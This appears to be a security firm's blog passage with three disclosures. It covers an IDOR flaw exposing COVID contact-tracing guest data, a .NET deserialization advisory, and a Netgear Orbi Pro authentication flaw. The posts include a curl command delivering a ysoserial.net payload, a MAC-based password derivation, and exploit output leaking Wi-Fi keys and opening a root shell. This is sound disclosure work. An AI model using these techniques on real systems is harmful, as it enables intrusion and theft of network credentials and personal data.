Natürlich kann in diesem Beispiel argumentiert werden, dass die Auswirkungen der Schwachstellen ja überschaubar sind und die Schutzmassnahmen für das Anwendungsgebiet möglicherweise ausreichen. Das Problem einer solchen Argumentation liegt dabei, dass sich die Umgebung, der Funktionsumfang, die Entwicklungsprozesse sowie die Firmen selbst zukünftig wandeln werden. Selbst wenn zum jetzigen Zeitpunkt ein Unternehmen ehrbare Ziele verfolgt oder eine Applikationsschwachstelle nur eine verhältnismässig geringe Auswirkung aufweist, so kann sich dies schon Morgen ändern. Es ist daher wichtig bereits früh in der Projektphase die richtigen Entscheidungen zu treffen und Fehlfunktionen, Schwachstellen und Bedrohungsmodelle als integral wichtigen Bestandteil zu behandeln.
Zeitlicher Ablauf
2020-07-07 11:00:23
Mit Webapps gegen COVID-19
Am 29. Juni 2020 hat unser Kollege Joël Gunzenreiner eine Schwachstelle in der Web-Applikation forAtable entdeckt. Die App dient der Erfassung von Kontaktdaten von Veranstaltungs- und Restaurantgästen, um mögliche COVID-19-Infektionsketten nachverfolgen zu können. Durch die Ausnutzung dieser Schwachstelle war es möglich, sämtliche über die Gäste erfassten Daten auszulesen.
Erster Akt: Die Regeln
Am 06. Juni 2020 wurden in der Schweiz die Corona-Einschränkungen weitreichend gelockert, und am 22. Juni 2020 fast vollständig aufgehoben. Der Schweizer Bundesrat hat in Folge diverse Maßnahmen zur weiteren Eindämmung von Covid-19 erlassen.
Eine dieser sog. "Massnahmen betreffend öffentlich zugängliche Einrichtungen, Betriebe und öffentlichen Veranstaltungen", schreibt vor, dass bestimmte Vorgaben umgesetzt werden müssen, um die Hygiene- und Abstandsregeln einzuhalten. Beispielsweise müssen gemäss Artikel 5 der Corona-Verordnung des Schweizer Bundesrates die Kontaktdaten der Besucher*innen von Restaurants oder Veranstaltern erhoben werden. In einem vom Branchenverband der Schweizer Gastronomie GastroSuisse in Zusammenarbeit mit mehreren Bundesämtern veröffentlichten Schutzkonzept wurden Möglichkeiten der Erhebung sowie die zu erhebenden Daten festgelegt:
Kontaktdaten können insbesondere über Reservations- oder Mitgliedersysteme oder mittels Kontaktformular erhoben werden. Es sind folgende Daten zu erheben:(Auszug aus GastroSuisse Schutzkonzept Kapitel 9)
- Name, Vorname, Wohnort, Telefonnummer und Tischnummer
- in Gästebereichen von Restaurationsbetrieben einschliesslich Bar- und Clubbetrieben, in denen die Konsumation stehend erfolgt, sowie in Diskotheken und Tanzlokalen: die Ankunfts- und Weggangszeit;
- bei Veranstaltungen ohne Sitzplätze mit mehr als 300 Personen: der Sektor, in dem sich die Person aufhalten wird.
Das Schutzkonzept schreibt weiter vor, dass Betreiber*innen und Organisator*innen die Vertraulichkeit der Daten während der Aufbewahrung sicherstellen müssen. Eine Nutzung der Datensätze zu einem anderen als dem vorgesehenen Zweck ist dabei ebenso vorgeschrieben wie die Löschung der Datensätze nach 14 Tagen.
Zweiter Akt: Lösungen
In den meisten Gaststätten finden Gäste dieser Tage oft einen kleinen Zettel mit einem Stift auf dem Tisch vor. Auf diesem Zettel vermerken die Gäste ihre geforderten persönlichen Daten und ggf. weitere Angaben zur Person.
Der Zettel verschwindet dann im Backoffice des Betriebs und wartet auf den Schredder oder die Behörde. Dies scheint datenschutztechnisch die derzeit schmerzärmste Variante zu sein, da zum einem eine Contact-Tracing-App auf einem Smartphone in einem Restaurant teilweise nur bedingt hilft, und zum anderen jede*r Besucher*in vor dem Einlass zur Handy-Kontrolle antreten müsste.
Zettel und Stift? Es dauerte nicht lang, bis dieser Umstand als Weckruf die Kanäle der Online-Tischreservierungs-Branche erreichte. Letztere produzierte hektisch eine Online-Version der "Zettel und Stift"-Variante: Das Züricher Startup LunchGate bastelte noch schnell eine Corona-Tracing-Funktion in ihre Tischreservierungs-Web-Applikation, und war im Geschäft.
Die Erfassung der erforderlichen Daten erfolgt über ein entsprechendes Formular der forAtable-Web-Applikation. Dies kann über das Scannen eines QR-Codes mit dem Smartphone oder durch die direkte Eingabe der URL geschehen. Auf dem Smartphone des Gastes präsentiert sich das Formular wie in Abbildung 1 links:
Nach der Eingabe der Daten (Vorname, Nachname und Telefonnummer) und dem Akzeptieren der Covid-19-Datenschutzerklärung, die man natürlich vorher gelesen hat, können die Daten an den Server von LunchGate geschickt werden. Der Gast bekommt anschließend auf einer Bestätigungsseite die eingetragenen Daten vorsichtshalber nochmals angezeigt - wie in Abbildung 1 rechts ersichtlich, ergänzt mit einer genauen Uhrzeit des Check-ins.
Herr Meier freut sich darüber, sich progressiv wie lange nicht mehr verhalten zu haben, und wartet auf sein Cordon Bleu.
Dritter Akt: Die Vollkontakt-Datenspeicherung und die Hacker
Nachdem unser Kollege Joël während eines Bar-Besuchs diesen Prozess abgeschlossen hatte, wollte er es dann doch ein bisschen genauer wissen. Glücklicherweise hatte er sich die URL der Bestätigungsseite notiert, um den ganzen Prozess nochmal am Schreibtisch genauer unter die Lupe zu nehmen; so wie es jeder andere interessierte Hacker des Planeten auch getan hätte.
In der URL der Bestätigungsseite ist eine ID enthalten, die für den erstellten Datensatz generiert wurde. Jeder Besuch einer Person generiert eine solche ID und einen dazugehörigen Datensatz. Onkel Kevin hat also eine eindeutige ID für jeden seiner Restaurantbesuche. So auch Joël. Und alle anderen Gäste, die das System von LunchGate nutzen. LunchGate verwendet die ID, um die Daten zu einem Besuch auf der Bestätigungsseite anzuzeigen.
Wenn man nun eins und 174395 zusammenzählt, erkennt man als Hacker mit einschlägigen Erfahrungen im Bereich der Addition natürlicher Zahlen, dass dem Algorithmus zur Generierung eindeutiger IDs möglicherweise eine sehr einfache Funktion zugrunde liegt. Probieren wir es doch einfach mal aus, verkleinern die ID und setzen sie also von beispielsweise 174396 auf 174394. Wenig überraschend: es erscheint ein anderer Datensatz.
In der Web-Applikation ist es also möglich, alle erfassten Eingaben von allen Gästen abzurufen - und das als unberechtigter, anonymer Benutzer.
Die Covid-19-Verordnung des Schweizerischen Bundesrates legt fest, dass man die erhobenen Daten zu keinen anderen Zwecken als der Bekämpfung der Covid-19-Epidemie verwenden darf. Tatsächlich sind aber sämtliche Daten ungeschützt im Internet zugänglich: Name, Telefonnummer, Besuchszeit und teilweise die kompletten Adresse. Damit dürften sie weiteren Zwecken unterlegen sein.
Moment, es gibt doch noch eine andere Regel: die Daten müssen nach 14 Tagen gelöscht werden. Subtrahieren wir ein paar weitere Werte und schauen uns den Datensatz mit der ID 87657 an:
Die obenstehende Abfrage ist vom 02.07.2020. Zu sehen sind aber die Daten eines Restaurantbesuchs vom 12. Juni 2020. Das bedeutet, dass die angezeigten Daten 21 Tagen vor dieser Abfrage erhoben und gespeichert worden sind.
Die vorgeschriebene Datenhaltung von 14 Tagen wurde also weit überschritten.
"Warum ist das ein Problem?" fragt Herr Meier vielleicht.
Im Gegensatz zur Datensatz-ID der Firma LunchGate ist eine Telefonnummer eine weltweit einmalige, eindeutig einer Person zuzuordnende ID. Die Web-Applikation erlaubt es, eine Zuordnung von Namen zu einer Telefonnummer einzusehen. Lädt man sich die komplette Covid-19-Contact-Tracing-Datenbank herunter und korreliert sämtliche Datensätze, lassen sich über einen längeren Zeitraum möglicherweise Bewegungsprofile ganzer Gruppen erstellen.
Insbesondere im Kontext der Covid-19-Epidemie lädt dies regelrecht zu Social-Engineering-Angriffen auf Gaststättenbesucher*innen ein: Kriminelle wissen genau, wann eine Person wo war, sie haben die Telefonnummer und die Namen der Personen - mehr braucht es nicht, um potentiellen Opfern per Anruf unkluge Handlungen plausibel erscheinen zu lassen. Denn genau so funktioniert Social Engineering. Enkeltrick reloaded.
Natürlich erlaubt eine solche Rendezvous-Datenbank noch ganz andere Schlüsse, wenn man die Daten in ihrer Gesamtheit nur entsprechend sortiert und durchsuchbar gestaltet. Dass an den Daten Interesse besteht, hat die Deutsche Polizei in Hamburg schon gezeigt.
Vierter Akt: Probleme sind dazu da, gelöst zu werden
Die oben beschriebene Schwachstelle ist eine sog. IDOR-Schwachstelle (Insecure Direct Object Reference), eine (unsichere) direkte Referenz auf einen Datensatz - in diesem Fall über eine URL.
Angreifer können durch unautorisierte Referenzen auf sensible Informationen zugreifen. Das ist in diesem konkreten Fall besonders trivial, da die einmaligen IDs, die als Referenz dienen, sehr kleine Zahlen sind, die zudem fortlaufend erzeugt werden. Somit sind sie leicht zu erraten und begünstigen Missbrauch enorm. Kennt ein Angreifer irgendeine valide ID, kann er weitere gültige IDs schnell erraten. Eine Schwachstelle wie diese kann auftreten, wenn eine schlechte/schwache Zugriffskontroll-Implementierung oder gar keine vorhanden ist.
Was können die Betreiber dieser Covid-19-Tracing-Datenbank also konkret anstellen, um diese Probleme in den Griff zu bekommen?
- Wenn Daten nur geschrieben werden sollen, warum kann man sie dann lesen?
- Berechtigungskonzepte erstellen (vor der Entwicklung): Gaststätten müssen eine Liste eines bestimmten Zeitraums lesen dürfen, um diese auf Anfrage an die Gesundheits-Behörden weitergeben zu können. Eine Gaststätte darf nur die Datensätze der eigenen Besucher*innen lesen dürfen.
- Authentifizierungskonzepte erstellen (vor der Entwicklung): Organisationen, Benutzer und Rollen müssen sich mit angemessen sicheren Konzepten gegenüber der Anwendung legitimieren, bevor sie auf Datensätze zugreifen dürfen.
- Eine "Bestätigungsseite" benötigt unmittelbar nach der Registrierung keinen Datenbankzugriff über eine Web-API auf den eigenen Datensatz.
- Ausschließlich notwendige Daten erheben: Wozu wird ein Realname benötigt, wenn es eine eindeutige und einzigartige ID (Telefonnummer) gibt?
- Unique IDs, die als PII gelten, also Personen identifizieren, dürfen nicht erratbar sein. Sie sollten üblicherweise zufällig generiert werden und nicht vorhersagbar sein, wie beispielsweise UUIDs.
Das Problem der fehlenden Löschung lässt sich noch viel einfacher lösen:
- Daten automatisch nach 14 Tagen löschen,
- Backups dieser Daten automatisch nach 14 Tagen löschen,
- keine Backups dieser Daten anfertigen.
Alternativ können Gaststätten auch einfach (wieder) zum Papier greifen. Vorausgesetzt, jeder Tisch bekommt seinen eigenen Zettel, und keine zu ergänzende Liste. Diese Zettel werden am Ende eines Tages in ein grosses Couvert gesteckt. Auf das Couvert wird das Datum geschrieben, an dem es vernichtet werden soll, also in 14 Tagen. Anschließend wandert es in die Kiste mit allen anderen Couverts. Und noch bevor ein Mitarbeiter des Restaurants morgens das Kühlaggregat der Zapfanlage in Betrieb nimmt, wirft er alle Couverts mit dem aktuellen Datum in den Schredder.
Ein systematisches Problem müssen die Firmen und Anbieter solcher Lösungen allerdings selber in den Griff bekommen: Behandelt eure Benutzer*innen nicht wie Beta-Tester. Veröffentlicht doch bitte eure Produkte erst dann, wenn alle notwendigen Funktionen, Datenschutz- und Sicherheitsrichtlinien implementiert sind. Danke.
Fünfter Akt: Behauptungen sind dazu da, belegt zu werden
Wir haben einen Screencast angefertigt, um den oben beschriebenen Flow zu dokumentieren und unsere Aussagen zu belegen:
Um die Machbarkeit eines Datendiebstahls zu demonstrieren, hat modzero ein Pythonscript geschrieben, dass die Enumerierung von beliebigen Datensatz-IDs demonstriert. Dieses Script werden wir auf GitHub veröffentlichen sobald LunchGate die Sicherheitslücke geschlossen hat.
Für diesen. Artikel haben wir die abgefragten Datensätze aus Datenschutzgründen auf selbst erstellte Fake-Datensätze beschränkt:
Am Abend des 03. Juli 2020 erreichte uns eine E-Mail eines Managing Partner der LunchGate AG. In der E-Mail wurde uns mitgeteilt, dass die IDOR-Schwachstellen behoben seien. Zur 14-Tage Löschfrist hiess es, hier bestünden keine Probleme.
2020-06-16
MZ-20-03 - New security advisory regarding vulnerabilities in .Net
Today, we publish a new advisory for some vulnerabilities, that have been found by our team-mate Nils Ole Timm (@firzen14).
Nils spent some time with .Net deserialization attacks and research. In April 2020 we already published an article about his Deserialization Attacks in .Net Games.
While the gaming industry thankfully fixed all of the reported issues, Microsoft elected to manage rather than fix the reported issues. For this advisory, two of them were not considered vulnerabilities by Microsoft as "by design". The third one was originally planned to be fixed, but a week before the disclosure deadline Microsoft informed us that they would only add a warning to their documentation.
Proof of Concept code is provided for each vulnerability right here:
- https://github.com/modzero/MZ-20-03_PoC_IsolatedStorage
- https://github.com/modzero/MZ-20-03_PoC_NetRemoting
- https://github.com/modzero/MZ-20-03_PoC_MSMQ_BinaryMessageFormatter
The direct link to the advisory is https://www.modzero.com/advisories/MZ-20-03-Net-Deserialization.txt
---------------------------------------------------------------- v5 --- modzero Security Advisory: Multiple deserialization vulnerabilities in the .Net runtime [MZ-20-03] ----------------------------------------------------------------------- ----------------------------------------------------------------------- 1. Timeline ----------------------------------------------------------------------- * 2020-02-14: This advisory has been sent to the Microsoft security team (security@microsoft.com). * 2020-02-19: Microsoft requests that the three vunerabilities are resubmitted individually. * 2020-02-19: Vulnerabilities resubmitted individually. * 2020-02-29: Microsoft closes 4.2 as "By Design". * 2020-03-19: Microsoft accepts 4.1 as a security issue. * 2020-03-19: Microsoft closes 4.3 as "By Design". * 2020-04-07: Microsoft informs modzero of a planned patch release on June 9th. * 2020-06-02: Microsoft informs modzero that the vulnerability will be fixed with documentation only. * 2020-06-08: modzero replies with concerns regarding the proposed fix. * 2020-06-15: Microsoft replies that they will go through with the fix. * 2020-06-16: modzero publishes this disclosure. ----------------------------------------------------------------------- 2. Summary ----------------------------------------------------------------------- Vendor: Microsoft * 4.1 Deserialization vulnerability in IsolatedStorageFileEnumerator::MoveNext via crafted identity.dat file leading to arbitrary code execution modzero: CVSS:3.0/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H -> 8.2 * 4.2 Deserialization vulnerability in BinaryServerFormatterSink::ProcessMessage 4.2.1 When configured with TypeFilterLevel.Low Denial of Service modzero: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H -> 7.5 4.2.2 When configured with TypeFilterLevel.Full Remote code execution modzero: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H -> 9.0 * 4.3 Deserialization vulnerability in System.Messaging.Message::get_Body() using a BinaryMessageFormatter leading to remote code execution modzero: CVSS:3.0/AV:A/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H -> 9.0 ----------------------------------------------------------------------- 3.0 Introduction ----------------------------------------------------------------------- modzero identified several critical vulnerabilities in the .Net runtime which can lead to denial of service or remote code execution attacks against services using standard built-in .NET features. A potential for local privilege escalation or persistence using the IsolatedStorage vulnerability was also found. Any software using the vulnerable .Net components is potentially affected. Specifically: * Enumeration of IsolatedStorage spaces * .Net Remoting with binary serialization * .Net MSMQ with a BinaryMessageFormatter modzero identified and tested the vulnerabilities to be present in: .NET Framework 4.8 4.7.2 4.7.1 4.7 4.6.2 4.6.1 4.6 4.5.2 4.5.1 4.5 Earlier versions have not been tested, but are likely to at least be partially affected as well. ----------------------------------------------------------------------- 4. Details ----------------------------------------------------------------------- 4.1 Triggering Deserialization vulnerability in IsolatedStorageFileEnumerator::MoveNext via crafted identity.dat file leads to arbitrary code execution An attacker with write access to the identity.dat file can inject a deserialization payload, which will be executed when the built-in .NET method IsolatedStorageFileEnumerator::MoveNext is called. When creating an IsolatedStorage space in the Machine scope (IsolatedStorageScope.Machine) its identity.dat file has read and write permissions for the "Everyone" Windows-Group. An attacker with access to any account can create a Machine scope IsolatedStorage space and cause the vulnerability to trigger on the next enumeration. The enumeration itself does not have to be controlled or issued by the attacker and thus the execution takes place in the context where enumeration occurs. When using an IsolatedStorageFileEnumerator to enumerate IsolatedStorage spaces, the MoveNext method will read the contents of each space's identity.dat file and deserialize them without any security features enabled. The identity.dat files in the Machine scope have read/write permissions for the Everyone group and a low privileged user can craft an identity.dat file to execute a standard deserialization attack when another user enumerates storage spaces. This for example affects the storeadm.exe tool. The following code snippets demonstrate how the data from the identity.dat file is passed directly into a BinaryFormatter without further sanitization or any security measures. IsolatedStorageFileEnumerator::MoveNext calls this.GetIDStream(twoPaths.Path1, out stream) to retrieve the file contents of the associated identity.dat file of each IsolatedStorage space into a stream variable. public bool MoveNext() { while (this.m_fileEnum.MoveNext()) { [...] if (flag) { if (!this.GetIDStream(twoPaths.Path1, out stream) || !this.GetIDStream(twoPaths.Path1 + "\\" + twoPaths.Path2, out stream2)) [...] } else if (IsolatedStorageFile.NotAppFilesDir(twoPaths.Path2)) { if (!this.GetIDStream(twoPaths.Path1, out stream2)) [...] stream2.Position = 0L; } else { if (!this.GetIDStream(twoPaths.Path1, out stream3)) [...] stream3.Position = 0L; } The previously populated stream variable holding the possibliy malicious identity.dat file's content is passed to an overload of the InitStore method as documented in the followind code section. if (isolatedStorageFile.InitStore(scope, stream, stream2, stream3, domainName, assemName, appName) && isolatedStorageFile.InitExistingStore(scope)) { this.m_Current = isolatedStorageFile; return true; } The InitStore method then passes the MemoryStream of the file contents into a BinaryFormatter without enabling any security features on it. internal bool InitStore(IsolatedStorageScope scope, Stream domain, Stream assem, Stream app, string domainName, string assemName, string appName) { BinaryFormatter binaryFormatter = new BinaryFormatter(); [...] this.m_AppIdentity = binaryFormatter.Deserialize(app); [...] this.m_AssemIdentity = binaryFormatter.Deserialize(assem); [...] this.m_DomainIdentity = binaryFormatter.Deserialize(domain); This allows execution of arbitrary code by utilizing standard BinaryFormatter deserialization gadgets; payloads can for example be generated using the ysoserial.net tool. This can be used for privilege escalation, especially since enumeration of isolated storage spaces is typically only performed during administrative tasks. When creating an IsolatedStorage space scoped to a user with a roaming profile, the modified identity.dat file may be automatically transferred across an Active Directory network. In this case the vulnerability may spread across the network if an enumeration of storage spaces is regularly performed. A transferred payload can infect another computers Machine scope which can in turn infect other users and their roaming scope. 4.2 Deserialization vulnerability in BinaryServerFormatterSink::ProcessMessage leading to Denial of Service (DoS) By sending a crafted message to a .Net remoting channel a denial of service or remote code execution can be triggered if the channel uses a BinaryServerFormatterSink in its SinkChain, which it does in the default configuation. Wether or not the DoS or RCE will trigger depends on what the BinaryServerFormatterSink's TypeFilterLevel has been set to. The default is Low, in which case only the Denial of Service can be triggered. If it has been set to Full instead, remote code execution can be performed. When using Remoting in .Net the incoming and outgoing messages are processed by SinkChains, which are essentially a linked list of sinks. These sinks are passed the current data, perform some processing and pass the updated data on to the next chain for further processing. One of these sinks is the BinaryServerFormatterSink which processes incoming messages which have been serialized to a binary format. When an incoming message is received, ProcessMessage is called on the BinaryServerFormatterSink instance, the requestStream that is passed to it contains the serialized message that the sink is ment to decode. If the TypeFilterLevel property of the BinaryFormatterSink has been set to Low it will restrict the security context to only grant the SerializationFormatter permission. If the TypeFilterLevel is set to Full, the security context won't be restricted. (https://docs.microsoft.com/en-us/dotnet/api/system.runtime.serialization.formatters.typefilterlevel?view=netframework-4.8) Afterwards it will call CoreChannel.DeserializeBinaryRequestMessage with the requestStream it has been called with. if (this.TypeFilterLevel != TypeFilterLevel.Full) { permissionSet = new PermissionSet(PermissionState.None); permissionSet.SetPermission(new SecurityPermission(SecurityPermissionFlag.SerializationFormatter)); } try { if (permissionSet != null) { permissionSet.PermitOnly(); } requestMsg = CoreChannel.DeserializeBinaryRequestMessage(text5, requestStream, this._strictBinding, this.TypeFilterLevel); } finally { if (permissionSet != null) { CodeAccessPermission.RevertPermitOnly(); } } CoreChannel.DeserializeBinaryRequestMessage then initializes a BinaryFormatter and sets its FilterLevel according to the BinaryServerFormatterSink's. It then calls UnsafeDeserialize on the BinaryFormatter. internal static IMessage DeserializeBinaryRequestMessage(string objectUri, Stream inputStream, bool bStrictBinding, TypeFilterLevel securityLevel) { BinaryFormatter binaryFormatter = CoreChannel.CreateBinaryFormatter(false, bStrictBinding); binaryFormatter.FilterLevel = securityLevel; CoreChannel.UriHeaderHandler @object = new CoreChannel.UriHeaderHandler(objectUri); return (IMessage)binaryFormatter.UnsafeDeserialize(inputStream, new HeaderHandler(@object.HeaderHandler)); } The UnsafeDeserialize call then gets passed down to a Deserialize call which instantiates an ObjectReader with the corresponding TypeFilterLevel. It then calls ObjectReader::Deserialize on the new ObjectReader instance. internal object Deserialize(Stream serializationStream, HeaderHandler handler, bool fCheck, bool isCrossAppDomain, IMethodCallMessage methodCallMessage) { [...] internalFE.FEsecurityLevel = this.m_securityLevel; ObjectReader objectReader = new ObjectReader(serializationStream, this.m_surrogates, this.m_context, internalFE, this.m_binder); objectReader.crossAppDomainArray = this.m_crossAppDomainArray; return objectReader.Deserialize(handler, new __BinaryParser(serializationStream, objectReader), fCheck, isCrossAppDomain, methodCallMessage); } ObjectReader::Deserialize then performs the deserialization. Additional security checks are performed if IsRemoting is true. internal void CheckSecurity(ParseRecord pr) { Type prdtType = pr.PRdtType; if (prdtType != null && this.IsRemoting) { [...] FormatterServices.CheckTypeSecurity(prdtType, this.formatterEnums.FEsecurityLevel); } } IsRemoting is true if either bMethodCall or bMethodReturn is true. private bool IsRemoting { get { return this.bMethodCall || this.bMethodReturn; } } These two values (bMethodCall and bMethodReturn) are only set to true by the SetMethodCall and SetMethodReturn methods respectively. internal void SetMethodCall(BinaryMethodCall binaryMethodCall) { this.bMethodCall = true; this.binaryMethodCall = binaryMethodCall; } internal void SetMethodReturn(BinaryMethodReturn binaryMethodReturn) { this.bMethodReturn = true; this.binaryMethodReturn = binaryMethodReturn; } Those two methods are only called from__BinaryParser::ReadMethodObject, which is only called from __BinaryParser::Run case BinaryHeaderEnum.MethodCall: case BinaryHeaderEnum.MethodReturn: this.ReadMethodObject(binaryHeaderEnum); Therefore additional security checks are only performed if an IMessage is being deserialized. An attacker can bypass the additional security checks by submitting a crafted stream of data that contains no IMessage object and triggers execution of deserialization gadgets. Using the standard TypeConfuseDelegate gadget, a call to System.Diagnostics.Process::Start(string,string) can be performed. In the case of TypeFilterLevel being set to Low (4.2.1) the call to Process.Start then causes an uncaught SecurityException, since the security context is restricted. The exception occurs in System.Diagnostics.ShellExecuteHelper::ShellExecuteFunction in a separate thread spawned by System.Diagnostics.ShellExecuteHelper::ShellExecuteOnSTAThread. The uncaught exception then causes termination of the process leading to Denial of Service. In the case of TypeFilterLevel being set to Full (4.2.2) the call to Process.Start passes all security checks and a new process is started. In this case arbitrary code can be executed remotely as long as the channel is accessible. Because there are no restrictions imposed on the deserialization, when using an HTTP channel 4.2.2 can also be exploited by generating a payload file with the ysoserial.net tool and a curl request of the form: curl -X POST -H "Content-Type: application/octet-stream" --data-binary "@payload" http://serveraddress/Service 4.3 Deserialization vulnerability in System.Messaging.Message::get_Body() using a BinaryMessageFormatter When using Microsoft Message Queueing (MSMQ) with .Net, messages retrieved from the Queue are processed into a Message object. This object contains an IMessageFormatter property and in the case of a retrieved messageit contains a BodyStream that holds the serialized body of the message. This BodyStream is not parsed immediately, but will instead be deserialized only when the Body's getter is accessed. The getter then calls Formatter.Read on its IMessageFormatter instance to create the actual Body object. public object Body { get { if (this.filter.Body) { if (this.cachedBodyObject == null) { [...] this.cachedBodyObject = this.Formatter.Read(this); } return this.cachedBodyObject; } If the IMessageFormatter is a BinaryMessageFormatter, its Read method checks if the BodyType is compatible and then calls BinaryFormatter::Deserialize on a default BinaryFormatter instance with no additional security features enabled. public BinaryMessageFormatter() { this.formatter = new BinaryFormatter(); } public object Read(Message message) { [...] int bodyType = message.BodyType; if (bodyType == 768) { Stream bodyStream = message.BodyStream; return this.formatter.Deserialize(bodyStream); This allows the use of arbitrary deserialization gadgets and can be used to execute arbitrary code when somebody retrieves messages from the message queue. ----------------------------------------------------------------------- 5. Proof of Concept exploits ----------------------------------------------------------------------- PoC exploits are provided as separate git repos containing Visual Studio Solutions. The IsolatedStorageVulnerability solution demonstrates vulnerability 4.1. After executing the PoC, any vulnerable program enumerating the Machine scope will execute a program when deserializing the payload. Running "storeadm /List" in the Visual Studio Developer Console for example will trigger the vulnerability. The RemotingVulnerability solution demonstrates vulnerabilities 4.2. It contains two projects: * RemotingService - a bare bones Remoting server * RemotingExploit - the actual exploit When the server is running and configured with TypeFilterLevel.Low the exploit will crash the server process. When the server is running and configured with TypeFilterLevel.Full the exploit will trigger code execution in the server process. The MSMQ solution demonstrates vulnerability 4.3. It contains two projects: * MSMQ Reader - a small program polling messages from an MSMQ * MSMQ Exploit - the actual exploit When the reader is running the exploit will cause code execution to occur as soon as the getter of the Body property of the Message is accessed. All projects use the TypeConfuseDelegate gadget with SortedSet`1 to reach code execution from the deserialization vulnerability. Please find the PoC projects at GitHub: * https://github.com/modzero/MZ-20-03_PoC_IsolatedStorage * https://github.com/modzero/MZ-20-03_PoC_NetRemoting * https://github.com/modzero/MZ-20-03_PoC_MSMQ_BinaryMessageFormatter ----------------------------------------------------------------------- 6. Workarounds ----------------------------------------------------------------------- For 4.2, restricting access to the remoting channel will reduce the potential attack vectors. When using Tcp or Icp channels, enabling authentication can mitigate some risks as well. If possible setting TypeFilterLevel to Low will mitigate the RCE to a DoS but business cases might require using TypeFilterLevel.Full For 4.3, if possible, restrict access to any queue unless necessary. ----------------------------------------------------------------------- 7. Fix ----------------------------------------------------------------------- Currently, no fixes are available. ----------------------------------------------------------------------- 8. Credits ----------------------------------------------------------------------- * Nils Ole Timm ----------------------------------------------------------------------- 9. About modzero ----------------------------------------------------------------------- The independent Swiss-German company modzero assists clients with security analysis in the complex areas of computer technology. The focus lies on highly detailed technical analysis of concepts, software and hardware components as well as the development of individual solutions. Colleagues at modzero work exclusively in practical, highly technical computer-security areas and can draw on decades of experience in various platforms, system concepts, and designs. https://www.modzero.com contact@modzero.com modzero follows coordinated disclosure practices described here: https://www.modzero.com/static/modzero_Disclosure_Policy.pdf. This policy should have been sent to the vendor along with this security advisory. ----------------------------------------------------------------------- 10. Disclaimer ----------------------------------------------------------------------- The information in the advisory is believed to be accurate at the time of publishing based on currently available information. Use of the information constitutes acceptance for use in an AS IS condition. There are no warranties with regard to this information. Neither the author nor the publisher accepts any liability for any direct, indirect, or consequential loss or damage arising from use of, or reliance on, this information.
2020-05-18
How Netgear meshed(*) up WiFi for Business
(*) I'm really sorry for the pun line.
One day in December, I decided to actually build something. Something more or less useful. So, I paused breaking stuff (I really did) to create something that could help enhance the security-level of WiFi networks. I failed.
When I set out to build the thing I mentioned above, it also involved taking a closer look at our recently acquired Netgear Orbi Pro WiFi Mesh system.
And when I say take a closer look I mean: I had to figure out how to use public APIs that are not supposed to be public. In this particular case, the public API is a SOAP interface, available on the local network (not the Internet).
Public APIs that are not supposed to be public are defined by three attributes:
- they are public
- they are undocumented
- they are still public
However, accessing interesting parts of the APIs requires authentication against the SOAP Web application running on each Netgear Orbi Pro Mesh device. When I tried to figure out how Netgear implemented Machine-to-Machine (M2M) authentication between Router/Access Point and Mesh-Satellites, I accidentally the whole network-confidentiality and -integrity.
But first, let's have a short introduction to this Orbi Pro Mesh WiFi thing:The Netgear Orbi Pro WiFi Mesh network
The Netgear Orbi Pro Mesh WiFi system can provide a large coverage of WiFi signal over a large area within buildings, halls, and outdoors. Up to four separated 2.4GHz and 5GHz networks can be set up for different purposes:
- [Wireless 1] Main network with administrative access
- [Wireless 2] Employee network with limited access to admin interfaces
- [Wireless 3] Separate IoT/employee network
- [Guest] Unencrypted guest network with "Guest Portal"
This allows distribution of your WiFi network signal evenly across your property, building, hall and whatnot. This is fine. Really! Until you decide to spend less resources on security-architecture and cryptography.
So what went wrong...?
At some point, Netgear decided that provisioning of newly added Mesh-satellites does not need to be cryptographically secure. Convenience kills security; still in 2020 and even with one-time actions such as setting up a new mesh node.
The problem: Merge a new Mesh satellite into an existing WiFi setup. Already existing nodes shall accept and trust the newbie right away.
Netgear's solution: Ignore the benefits of presupposition of physical access to the devices that are part of the provisioning process, by pressing two buttons on router/AP and satellite. Instead, Netgear implemented a secret authentication mechanism, to authenticate mesh-nodes among themselves.
However, this secret authentication mechanism only involves publicly obtainable information which is: The MAC-addresses of each communication-peer. This means that you are only allowed to call the administrative SOAP API if you know the MAC address of your target satellite as well as your own MAC address:
If the MAC-address of your own computer within the WiFi network ends with A4:A5:A6 and the MAC address of the target satellite ends with B4:B5:B6, you can easily authenticate with username "orbi" and the ascii(MD5-Hash sum) of the string "NETGEAR_Orbi_A4_A5_A6_B4_B5_B6_password".
Impact
It's kind of a chain reaction. The ability to "guess" authentication parameters like username/password to access Netgear Orbi WiFi Mesh nodes with admin privileges via SOAP API, is something that can be exploited to gather sensitive information (cleartext passwords, etc.)
Using these "credentials", any (*) network participant is able to read and write configuration parameters for a particular Mesh-node.
(*) attacker must be on wired network or Orbi WiFi 1. However, if WiFi 2 is allowed to access network nodes in LAN (e.g. printers, etc. - which is likely in business setups), the attacker could also be on WiFi 2.
Reading and writing Netgear Orbi Pro Mesh parameters lead to Remote Code Execution (RCE) on the Mesh-satellites and subsequently to administrative access to the Router/Access Point and eventually the whole network.
As the curious reader might have noticed, all information that is needed to deduce the "password" is available to any user in the local network.
Exploitation
We have uploaded a video to YouTube for documentation:
The video shows the whole setup process of an AP-Mode setup using Mesh-nodes, up until its exploitation (see minute 10:40) using our scripts available at https://github.com/modzero/MZ-20-02-NETGEAR-Orbi-Security.
$ python3 orbiSatGetShell.py 10.11.42.243 asdfasdf
[0] 169.254.222.20 : dc:71:[REDACTED] (eth1)
[1] 192.168.56.1 : 0a:00:[REDACTED] (eth2)
[...]
[7] 10.11.42.149 : dc:71:[REDACTED] (wifi0)
[...]
[+] Select Interface: 7
[*] Query Orbi Satellite at 10.11.42.243 via local interface dc:71:[REDACTED]
[*] Device details for 10.11.42.243
[-] Device Name: sat-wkcdv
[-] Serial Number: 5836[REDACTED]
[-] Firmware Version: V2.5.0.108
[*] Administrative WLAN
[-] ssid: skynet
[-] mode: WPA2-PSK
[-] psk: i-1X[REDACTED]
[*] Guest WLAN
[-] ssid: darknet
[-] mode: WPA2-PSK
[-] psk: NewP[REDACTED]
[*] Enable telnet <0v0>
[e] Error getting session/timestamp from satellite: 401 (Unauthorized)!
[-] new session/timestamp: 569478051
[-] Success!
—————
R U N
C M D
—————
root@SRS60:/# id
id
